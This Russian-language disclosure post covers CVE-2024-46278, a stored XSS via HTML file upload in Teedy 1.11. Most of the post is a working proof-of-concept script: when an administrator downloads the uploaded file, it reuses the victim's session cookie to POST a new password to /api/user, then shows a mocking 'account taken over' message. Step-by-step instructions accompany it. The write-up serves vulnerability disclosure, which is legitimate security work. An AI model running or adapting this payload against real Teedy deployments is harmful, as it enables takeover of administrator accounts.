【CVE-2024-46278】teedy_1.11_account-takeover

【Teedy 1.11】захват учетной записи через XSS

Детали

Существует уязвимость, которая вызывает XSS при загрузке файлов. Уязвимость XSS может позволить администратору Teedy похитить учетную запись всего несколькими кликами.

Эта уязвимость обозначена как CVE-2024-46278: https://www.cve.org/CVERecord?id=CVE-2024-46278

PoC

Войдите в систему под учетной записью атакующего.
Загрузите этот файл с типом html. При необходимости вам нужно изменить «Origin» и «Referer», а также аргумент для fetch.

<script>
const currentCookie = document.cookie;

const requestOptions = {
  method: 'POST',
  headers: {
    'Content-Type': 'application/x-www-form-urlencoded;charset=UTF-8',
    'Accept': 'application/json, text/plain, */*',
    'Cookie': currentCookie,
    'sec-ch-ua': '"Not_A Brand";v="8", "Chromium";v="120"',
    'sec-ch-ua-mobile': '?0',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36',
    'sec-ch-ua-platform': '"Linux"',
    'Origin': 'http://localhost:8080',
    'Sec-Fetch-Site': 'same-origin',
    'Sec-Fetch-Mode': 'cors',
    'Sec-Fetch-Dest': 'empty',
    'Referer': 'http://localhost:8080/',
    'Accept-Encoding': 'gzip, deflate, br',
    'Accept-Language': 'en-US,en;q=0.9'
  },
  body: 'password=superSecure2&passwordconfirm=superSecure2'
};

fetch('http://localhost:8080/api/user', requestOptions)
  .then(response => {
    if (!response.ok) {
      throw new Error('Network response was not ok');
    }
        document.write('<h1>Your account was taken over by the attacker LOL</h1>');
    return response.json();
  })
  .then(data => console.log(data))
  .catch(error => console.error('There was a problem with your fetch operation:', error));
</script>

Войдите под другой учетной записью, например admin.
Нажмите на файл, загруженный атакующим, и выберите Download this file.

Демо

https://www.youtube.com/watch?v=udQgVogsmhA

CVE-2024-46278-teedy_1.11_account-takeover

Популярное